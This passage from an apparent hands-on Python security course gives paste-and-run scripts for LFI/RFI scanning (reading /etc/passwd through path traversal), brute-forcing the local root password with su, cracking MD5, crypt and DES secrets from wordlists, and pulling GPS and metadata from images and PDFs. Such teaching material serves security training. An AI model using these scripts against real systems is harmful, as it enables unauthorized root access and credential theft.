2430 | TARGET += "../" | |
2431 | try: | |
2432 | source = urllib.request.urlopen((TARGET+"etc/passwd")).read().decode() ## WEB REQUEST | |
2433 | except urllib.error.URLError as e: | |
2434 | print("$$$ We had an Error:",e) | |
2435 | sys.exit(0) | |
2436 | if re.search("root:x:0:0:",source): ## SEARCH FOR TEXT IN SOURCE | |
2437 | print("!! ==> LFI Found:",TARGET+"etc/passwd") | |
2438 | break ## BREAK LOOP WHEN VULN FOUND | |
2439 | ||
2440 | print("\n==> Testing for RFI vulns..") | |
2441 | TARGET = TARGET.split("=")[0]+"="+RFIVULN ## URL MANUPLIATION | |
2442 | try: | |
2443 | source = urllib.request.urlopen(TARGET).read().decode() ## WEB REQUEST | |
2444 | except urllib.error.URLError as e: | |
2445 | print("$$$ We had an Error:",e) | |
2446 | sys.exit(0) | |
2447 | if re.search("Hello world",source): ## SEARCH FOR TEXT IN SOURCE | |
2448 | print("!! => RFI Found:",TARGET) | |
2449 | ||
2450 | print("\nScan Complete\n") ## DONE | |
2451 | ---------------------------------------------------------------------- | |
2452 | ||
2453 | ||
2454 | ||
2455 | ||
2456 | ---------------------------Type This----------------------------------- | |
2457 | python3 LFI-RFI.py | |
2458 | ----------------------------------------------------------------------- | |
2459 | ||
2460 | ||
2461 | ||
2462 | ||
2463 | ||
2464 | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | |
2465 | ||
2466 | ||
2467 | ||
2468 | ########################################### | |
2469 | ----------- ############### # Day 5: Password cracking and Forensics ############### ----------- | |
2470 | ########################################### | |
2471 | ||
2472 | ||
2473 | ---------------------------Type This----------------------------------- | |
2474 | ||
2475 | nano list.txt | |
2476 | ||
2477 | ---------------------------Paste This----------------------------------- | |
2478 | ||
2479 | hello | |
2480 | goodbye | |
2481 | red | |
2482 | blue | |
2483 | yourname | |
2484 | tim | |
2485 | bob | |
2486 | secureninjapython3 | |
2487 | joe | |
2488 | ||
2489 | ----------------------------------------------------------------------- | |
2490 | ||
2491 | ||
2492 | ||
2493 | ||
2494 | ||
2495 | ||
2496 | ---------------------------Type This----------------------------------- | |
2497 | ||
2498 | nano rootbrute.py | |
2499 | ||
2500 | ---------------------------Paste This----------------------------------- | |
2501 | ||
2502 | #!/usr/bin/env python3 | |
2503 | ||
2504 | import sys | |
2505 | try: | |
2506 | import pexpect | |
2507 | except(ImportError): | |
2508 | print("\nYou need the pexpect module.") | |
2509 | print("http://www.noah.org/wiki/Pexpect\n") | |
2510 | sys.exit(1) | |
2511 | ||
2512 | # Change this if needed. | |
2513 | # LOGIN_ERROR = 'su: incorrect password' | |
2514 | LOGIN_ERROR = "su: Authentication failure" | |
2515 | ||
2516 | ||
2517 | def brute(word): | |
2518 | print("Trying:", word) | |
2519 | child = pexpect.spawn('/bin/su') | |
2520 | child.expect('Password: '.encode("utf-8")) | |
2521 | child.sendline(word) | |
2522 | i = child.expect(['.+\s#\s', LOGIN_ERROR, pexpect.TIMEOUT], timeout=3) | |
2523 | if i == 1: | |
2524 | print("Incorrect Password") | |
2525 | ||
2526 | if i == 2: | |
2527 | print("\n\t[!] Root Password:", word, i) | |
2528 | child.sendline('id') | |
2529 | print(child.before) | |
2530 | child.interact() | |
2531 | ||
2532 | ||
2533 | if len(sys.argv) != 2: | |
2534 | print("\nUsage : ./rootbrute.py <wordlist>") | |
2535 | print("Eg: ./rootbrute.py words.txt\n") | |
2536 | sys.exit(1) | |
2537 | ||
2538 | try: | |
2539 | words = open(sys.argv[1], "r").readlines() | |
2540 | except(IOError): | |
2541 | print("\nError: Check your wordlist path\n") | |
2542 | sys.exit(1) | |
2543 | ||
2544 | print("\n[+] Loaded:", len(words), "words") | |
2545 | print("[+] BruteForcing...\n") | |
2546 | for word in words: | |
2547 | brute(word.replace("\n", "")) | |
2548 | ----------------------------------------------------------------------- | |
2549 | ||
2550 | ||
2551 | References you might find helpful: | |
2552 | http://stackoverflow.com/questions/15026536/looping-over-a-some-ips-from-a-file-in-python | |
2553 | ||
2554 | ||
2555 | ---------------------------Type This----------------------------------- | |
2556 | python3 rootbrute.py list.txt | |
2557 | ----------------------------------------------------------------------- | |
2558 | ||
2559 | ||
2560 | ||
2561 | ||
2562 | ||
2563 | ||
2564 | ||
2565 | ||
2566 | ---------------------------Type This----------------------------------- | |
2567 | ||
2568 | ||
2569 | nano md5crack.py | |
2570 | ||
2571 | ||
2572 | ---------------------------Paste This----------------------------------- | |
2573 | #!/usr/bin/env python3 | |
2574 | ||
2575 | import hashlib | |
2576 | import sys | |
2577 | ||
2578 | if len(sys.argv) != 3: | |
2579 | print("Usage: ./md5crack.py <hash> <wordlist>") | |
2580 | sys.exit(1) | |
2581 | ||
2582 | pw = sys.argv[1] | |
2583 | wordlist = sys.argv[2] | |
2584 | try: | |
2585 | words = open(wordlist, "r") | |
2586 | except(IOError): | |
2587 | print("Error: Check your wordlist path\n") | |
2588 | sys.exit(1) | |
2589 | words = words.readlines() | |
2590 | print("\n", len(words), "words loaded...") | |
2591 | hashes = {} | |
2592 | for word in words: | |
2593 | hash = hashlib.md5() | |
2594 | hash.update(word[:-1].encode('utf-8')) | |
2595 | value = hash.hexdigest() | |
2596 | hashes[word[:-1]] = value | |
2597 | for (key, value) in hashes.items(): | |
2598 | if pw == value: | |
2599 | print("Password is:", key, "\n") | |
2600 | ----------------------------------------------------------------------- | |
2601 | ||
2602 | ||
2603 | ||
2604 | ||
2605 | Why use hexdigest | |
2606 | http://stackoverflow.com/questions/3583265/compare-result-from-hexdigest-to-a-string | |
2607 | ||
2608 | ||
2609 | ||
2610 | ---------------------------Type This----------------------------------- | |
2611 | python3 md5crack.py 8ff32489f92f33416694be8fdc2d4c22 list.txt | |
2612 | ----------------------------------------------------------------------- | |
2613 | ||
2614 | ||
2615 | ||
2616 | ||
2617 | ||
2618 | ####### Challenge ######## | |
2619 | I will buy lunch (a nice lunch), for the person that can explain how the htcrack.py script works. | |
2620 | ||
2621 | Teamwork makes the dreamwork. Google is your friend. | |
2622 | ####### Challenge ######## | |
2623 | ||
2624 | ||
2625 | ||
2626 | ---------------------------Type This----------------------------------- | |
2627 | ||
2628 | htpasswd -nd yourname | |
2629 | - enter yourname as the password | |
2630 | ||
2631 | ||
2632 | ---------------------------Type This----------------------------------- | |
2633 | ||
2634 | nano htcrack.py | |
2635 | ||
2636 | ---------------------------Paste This----------------------------------- | |
2637 | #!/usr/bin/env python3 | |
2638 | import crypt | |
2639 | import sys | |
2640 | ||
2641 | if len(sys.argv) != 3: | |
2642 | print("Usage: ./htcrack.py <password> <wordlist>") | |
2643 | print("ex: ./htcrack.py user:62P1DYLgPe5S6 [path to wordlist]") | |
2644 | sys.exit(1) | |
2645 | ||
2646 | pw = sys.argv[1].split(":", 1) | |
2647 | ||
2648 | try: | |
2649 | words = open(sys.argv[2], "r") | |
2650 | except(IOError): | |
2651 | print("Error: Check your wordlist path\n") | |
2652 | sys.exit(1) | |
2653 | ||
2654 | wds = words.readlines() | |
2655 | print("\n-d3hydr8[at]gmail[dot]com htcrack v[1.0]-") | |
2656 | print(" - http://darkcode.ath.cx -") | |
2657 | print("\n", len(wds), "words loaded...") | |
2658 | ||
2659 | for w in wds: | |
2660 | if crypt.crypt(w[:-1], pw[1][:2]) == pw[1]: | |
2661 | print("\nCracked:", pw[0] + ":" + w, "\n") | |
2662 | ----------------------------------------------------------------------- | |
2663 | ||
2664 | ||
2665 | ||
2666 | ---------------------------Type This----------------------------------- | |
2667 | python3 htcrack.py joe:7XsJIbCFzqg/o list.txt | |
2668 | ----------------------------------------------------------------------- | |
2669 | ||
2670 | ||
2671 | ||
2672 | ||
2673 | ---------------------------Type This----------------------------------- | |
2674 | ||
2675 | nano DES-Bruteforce.py | |
2676 | ||
2677 | ---------------------------Paste This----------------------------------- | |
2678 | import base64 | |
2679 | from Crypto.Cipher import DES | |
2680 | THRESH = 0.9 | |
2681 | keyFile = open("keys.txt") | |
2682 | keys = keyFile.readlines() | |
2683 | ciph = base64.decodebytes(b'ESzjTnGMRFnfVOJwQfqtyXOI8yzAatioyufiSdE1dx02McNkZ2IvBg==\n') | |
2684 | ||
2685 | for key in keys: | |
2686 | obj = DES.new(key[0:8].encode("utf-8"), DES.MODE_ECB) | |
2687 | decodedStr = str(obj.decrypt(ciph)) | |
2688 | ||
2689 | foundLetters = 0 | |
2690 | for eachChar in decodedStr: | |
2691 | # print(THRESH) | |
2692 | if eachChar.isalpha() or eachChar.isdigit() or eachChar.isspace(): | |
2693 | foundLetters = foundLetters + 1 | |
2694 | # print(float(foundLetters) / float(len(decodedStr))) | |
2695 | if (float(foundLetters) / float(len(decodedStr)) > THRESH): | |
2696 | print("DES(ciphertext," + key[0:8] + ")=", obj.decrypt(ciph)) | |
2697 | ----------------------------------------------------------------------- | |
2698 | ||
2699 | ||
2700 | ||
2701 | ||
2702 | ---------------------------Type This----------------------------------- | |
2703 | python3 DES-Bruteforce.py | |
2704 | ----------------------------------------------------------------------- | |
2705 | ||
2706 | ||
2707 | ||
2708 | ||
2709 | ||
2710 | ---------------------------Type This----------------------------------- | |
2711 | ||
2712 | nano extract-geo-location_from_image.py | |
2713 | ||
2714 | ---------------------------Paste This----------------------------------- | |
2715 | import sys | |
2716 | import os | |
2717 | from PIL import Image | |
2718 | from PIL.ExifTags import TAGS | |
2719 | ||
2720 | for root, dir, files in os.walk(str(sys.argv[1])): | |
2721 | for fp in files: | |
2722 | if ".JPG" in fp.upper(): | |
2723 | # open a file and extract exif | |
2724 | fn = root + "/" + fp | |
2725 | try: | |
2726 | i = Image.open(fn) | |
2727 | info = i._getexif() | |
2728 | exif = {} | |
2729 | for tag, value in info.items(): | |
2730 | decoded = TAGS.get(tag, tag) | |
2731 | exif[decoded] = value | |
2732 | # from the exif data, extract gps | |
2733 | exifGPS = exif['GPSInfo'] | |
2734 | latData = exifGPS[2] | |
2735 | lonData = exifGPS[4] | |
2736 | # calculate the lat / long | |
2737 | latDeg = latData[0][0] / float(latData[0][1]) | |
2738 | latMin = latData[1][0] / float(latData[1][1]) | |
2739 | latSec = latData[2][0] / float(latData[2][1]) | |
2740 | lonDeg = lonData[0][0] / float(lonData[0][1]) | |
2741 | lonMin = lonData[1][0] / float(lonData[1][1]) | |
2742 | lonSec = lonData[2][0] / float(lonData[2][1]) | |
2743 | # correct the lat/lon based on N/E/W/S | |
2744 | Lat = (latDeg + (latMin + latSec / 60.0) / 60.0) | |
2745 | if exifGPS[1] == 'S': | |
2746 | Lat = Lat * -1 | |
2747 | Lon = (lonDeg + (lonMin + lonSec / 60.0) / 60.0) | |
2748 | if exifGPS[3] == 'W': | |
2749 | Lon = Lon * -1 | |
2750 | # print file | |
2751 | msg = fn + " located at " + str(Lat) + "," + str(Lon) | |
2752 | print(msg) | |
2753 | except(): | |
2754 | pass | |
2755 | ----------------------------------------------------------------------- | |
2756 | ||
2757 | ||
2758 | ---------------------------Type This----------------------------------- | |
2759 | python3 extract-geo-location_from_image.py | |
2760 | ----------------------------------------------------------------------- | |
2761 | ||
2762 | ||
2763 | ||
2764 | ||
2765 | ||
2766 | ||
2767 | ---------------------------Type This----------------------------------- | |
2768 | ||
2769 | nano metadata_extraction_pdf.py | |
2770 | ||
2771 | ---------------------------Paste This----------------------------------- | |
2772 | import warnings | |
2773 | import sys | |
2774 | import os | |
2775 | import string | |
2776 | from PyPDF2 import PdfFileWriter, PdfFileReader | |
2777 | warnings.filterwarnings("ignore") | |
2778 | ||
2779 | for root, dir, files in os.walk(str(sys.argv[1])): | |
2780 | for fp in files: | |
2781 | if ".pdf" in fp: | |
2782 | fn = root + "/" + fp | |
2783 | ||
2784 | try: | |
2785 | ||
2786 | pdfFile = PdfFileReader(open(fn, "rb")) | |
2787 | # print("title = %s" % (pdfFile.getDocumentInfo().title)) | |
2788 | title = pdfFile.getDocumentInfo().title#.upper() | |
2789 | author = pdfFile.getDocumentInfo().author#.upper() | |
2790 | pages = pdfFile.getNumPages() | |
2791 | print() | |
2792 | ||
2793 | if title is not None: | |
2794 | print("The title of the PDF is: ", title) | |
2795 | if title is None: | |
2796 | print("The PDF has no title") | |
2797 | if author is not None: | |
2798 | print("The autor of the PDF is: ", author) | |
2799 | if author is None: | |
2800 | print("TThe PDF has no author") | |
2801 | if pages is not None: | |
2802 | print("The total pages of the PDF is: ", pages) | |
2803 | if pages is None: | |
2804 | print("The PDF has no pages") | |
2805 | except(): | |
2806 | pass | |
2807 | ----------------------------------------------------------------------- | |
2808 | ||
2809 | ||
2810 | ---------------------------Type This----------------------------------- | |
2811 | python3 metadata_extraction_pdf.py | |
2812 | ----------------------------------------------------------------------- |